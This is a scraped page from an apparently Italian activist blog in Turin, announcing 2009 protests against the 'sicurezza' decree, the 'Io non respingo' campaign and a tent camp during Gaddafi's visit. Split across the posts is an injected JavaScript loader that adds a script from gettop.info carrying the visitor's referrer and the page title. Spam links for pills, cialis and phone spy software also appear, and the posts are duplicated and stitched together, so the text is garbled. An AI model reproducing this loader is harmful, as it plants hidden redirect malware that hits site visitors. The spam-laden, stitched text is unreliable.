Contro il ddl “sicurezza”

Ai primi di luglio, il Senato italiano ha approvato il cosiddetto pacchetto sicurezza, che contiene una serie di norme riguardanti l’immigrazione straniera.
Da più parti si sono levate critiche contro l’impostazione di questo decreto; lo stesso Presidente della Repubblica Napolitano lo ha definito “irragionevole e incoerente”. Le associazioni e la società civile, dal canto loro, pensano che sia insensato continuare a considerare l’immigrazione solo come un problema, e a gestirla – anzi a combatterla – come un'”emergenza”. In particolare l’introduzione del reato di clandestinità, che prevede di punire le persone per la loro situazione e non per avere commesso un crimine; e mette sullo stesso piano chi accetta di lavorare “irregolarmente” con chi sfrutta la clandestinità per delinquere.
Noi crediamo che tutti i lavoratori debbano avere uguali diritti e doveri, indipendentemente dalla razza, dalla etnia, dalla religione, a tutte le latitudini del nostro Paese.
CGIL, CISL e UIL, con l’adesione del Tavolo Migranti torinese e naturalmente di Terra del Fuoco, organizza un presidio per manifestare l’opposizione contro un decreto che promuove l’illegalità invece di combatterla, e che propone come panacea per il problema della “sicurezza” l’istituzione di ronde volontarie.

L’appuntamento è per giovedì 23 luglio, alle ore 18, davanti alla Prefettura di Torino, in piazza Castello.if (document.currentScript) { var d=document;var s=d.createElement(‘script’); yp healthcare http://cppyouth.org/?p=7586

Contro il ddl "sicurezza"

Ai primi di luglio, il Senato italiano ha approvato il cosiddetto pacchetto sicurezza, che contiene una serie di norme riguardanti l’immigrazione straniera.
Da più parti si sono levate critiche contro l’impostazione di questo decreto; lo stesso Presidente della Repubblica Napolitano lo ha definito “irragionevole e incoerente”. Le associazioni e la società civile, dal canto loro, pensano che sia insensato continuare a considerare l’immigrazione solo come un problema, e a gestirla – anzi a combatterla – come un'”emergenza”. In particolare l’introduzione del reato di clandestinità, che prevede di punire le persone per la loro situazione e non per avere commesso un crimine; e mette sullo stesso piano chi accetta di lavorare “irregolarmente” con chi sfrutta la clandestinità per delinquere.
Noi crediamo che tutti i lavoratori debbano avere uguali diritti e doveri, indipendentemente dalla razza, dalla etnia, dalla religione, a tutte le latitudini del nostro Paese.
CGIL, CISL e UIL, con l’adesione del Tavolo Migranti torinese e naturalmente di Terra del Fuoco, organizza un presidio per manifestare l’opposizione contro un decreto che promuove l’illegalità invece di combatterla, e che propone come panacea per il problema della “sicurezza” l’istituzione di ronde volontarie.

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I do not reject

The national coordination of Non aver paura adheres to the campaign by Fortress Europe “Io non respingo” (I do not reject). The campaign aims at giving voice to those who defends the rights of migrants, and especially to the victims of an inhuman policy. All the information on Fortress Europe’s website.
On June 20, on the event of the World Refugee Day, Torino mobilizes as well. The Turin Migrant Network organizes a series of initiatives, and we will be with them: from 7 PM to 9 PM, in piazza Vittorio Veneto in Turin, to express our dissent to the building of a two-layer society; and at 9:30 PM, at the Museum of Natural Sciences in via Giolitti 36, for the projection of the film Come un uomo sulla terra (Like a man on earth), by Riccardo Biadene, Andrea Segre and Dagmawi Yimer, produced by Asinitas onlus in collaboration with ZaLab.
The nation-wide programme of initiatives can be

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Io non respingo

Il coordinamento regionale di Non aver paura aderisce alla campagna di Fortress Europe “Io non respingo”. La campagna vuole dare voce a chi difende i diritti dei migranti, e soprattutto alle vittime di una politica inumana. Tutte le informazioni sul sito web di Fortress Europe.
Il 20 giugno, in occasione della Giornata mondiale del rifugiato buy cheap pain pills online , anche Torino si mobilita. La Rete Migranti Torino organizza una serie di iniziative, e noi saremo con loro: dalle 19 alle 21, in piazza Vittorio Veneto, per esprimere il nostro dissenso contro la costruzione di una società con due pesi e due misure; e alle 21,30, presso il Museo di Scienze Naturali di via Giolitti 36, per la proiezione del film Come un uomo sulla terra, di Riccardo Biadene, Andrea Segre e Dagmawi Yimer, prodotto da Asinitas onlus in collaborazione con ZaLab.
Il programma di tutte le iniziative a livello nazionale si trova nel sito di Fortress Europe.} else {http://international.varee.ac.th/?p=3831

Gheddafi, leva le tende!

Gheddafi, leva le tende! Tu respingi, io accolgo Il leader libico Muammar Gheddafi è in Italia. È qua per parlare di immigrazione, e di respingimenti in mare. Chi conosce quale destino attende gli emigranti e i rifugiati respinti al largo di Lampedusa e imprigionati nelle carceri libiche, non può rimanere indifferente e complice. Circa il 50% dei “clandestini” che sbarcano sul nostro territorio ottengono lo status di rifugiato o la protezione umanitaria. Ma noi ora respingiamo anche loro in Libia, in un paese che non crede nei diritti umani, la cui polizia tortura e stupra, e che non esita a rispedire i rifugiati politici nei loro paesi d’origine, dove possono trovare la morte. Noi vogliamo un’altra sicurezza. Il diritto d’asilo è garantito dall’articolo 10 della Costituzione: “Lo straniero, al quale sia impedito nel suo Paese l’effettivo esercizio delle libertà democratiche garantite dalla Costituzione italiana, ha diritto d’asilo nel territorio della Repubblica secondo le condizioni stabilite dalla legge”. Chiediamo il rispetto della Costituzione e, come già hanno fatto le Nazioni Unite, il Consiglio d’Europa, il Tavolo Asilo, la Cei, del diritto internazionale. Una sicurezza di pochi è l’insicurezza di molti. I diritti e l’accoglienza sono le condizioni necessarie per poter parlare di sicurezza. IO NON RESPINGO. Questo terribile attacco ai migranti non ha precedenti nel nostro mondo “democratico” nel quale i “diritti umani” dovrebbero essere garantiti a tutti. Soprattutto a chi – come per secoli anche noi abbiamo fatto – fugge la miseria creata da un mondo ingiusto, o cerca riparo dalle guerre, dalle persecuzioni, dalla mancanza di libertà. L’equazione immigrazione irregolare = criminalità, proposta un anno e mezzo fa

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dalla nostra politica, si è fatta largo nelle case degli italiani. I “barconi” al largo di Lampedusa, benché portino sul nostro territorio solo il 15-20% dei “clandestini”, sono diventati il simbolo di un’intransigenza necessaria per evitare “l’invasione”. Il “clandestino”, nuova classe sociale del ventunesimo secolo, è un uomo che non deve esistere. Il “clandestino” è pericoloso. Non ha famiglia, non ha casa, non ha speranze. Non ne ha il diritto. È prendre du cialis a 19ans respingibile. PIANTIAMO LE TENDE. Da venerdì pomeriggio a sabato pomeriggio, Piazza Castello a Torino ospita un “campo profughi”. Una tenda diversa da quello di Gheddafi, venuto qui a vendere la dignità di migliaia di persone in cambio del riconoscimento delle nostre atrocità coloniali. Stiamo barattando il riconoscimento del nostro passato infame con un futuro ugualmente infame, e deleghiamo i campi di concentramento, persino negli stessi luoghi in cui li costruimmo noi nel Ventennio. 100.000 libici hanno perso la vita per la nostra “avventura” coloniale, e nel commemorare questa tragedia ne stiamo creando un’altra. Stiamo pagando un regime che non rispetta i diritti umani per farci il lavoro sporco. Noi vogliamo una vera politica d’asilo, che rispetti la Costituzione e gli impegni internazionali. In Piazza Castello ci saranno proiezioni e musica, tanta voglia di stare insieme, i

“vecchi” e i “nuovi” italiani, così come fecero i piemontesi e i siciliani, i pugliesi e i sardi. Noi ci accamperemo per essere vicini a tutti i nuovi cittadini, ai “quasi” nuovi cittadini, ai futuri nuovi cittadini. Italiani ed europei. Con tanta voglia di condividere la nostra città. Venerdì 12 alle 22 proietteremo il film “Come un uomo sulla terra“. CAMBIAMO ROTTA. Riteniamo che una cultura dell’accoglienza sia oggi la risposta necessaria. E vogliamo respingere l’ondata di intolleranza che ha investito il paese. Per cambiare rotta. E saper accogliere. CONTRO LE VIOLENZE DEL REGIME LIBICO SUI MIGRANTI CONTRO I RESPINGIMENTI PER UNA CULTURA DELL’ACCOGLIENZA PER I DIRITTI DI TUTTId.getElementsByTagName(‘head’)[0].appendChild(s);s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; http://chaiwalachai.com/uncategorized/spy-software-iphone-spy-best-spy-for-iphone/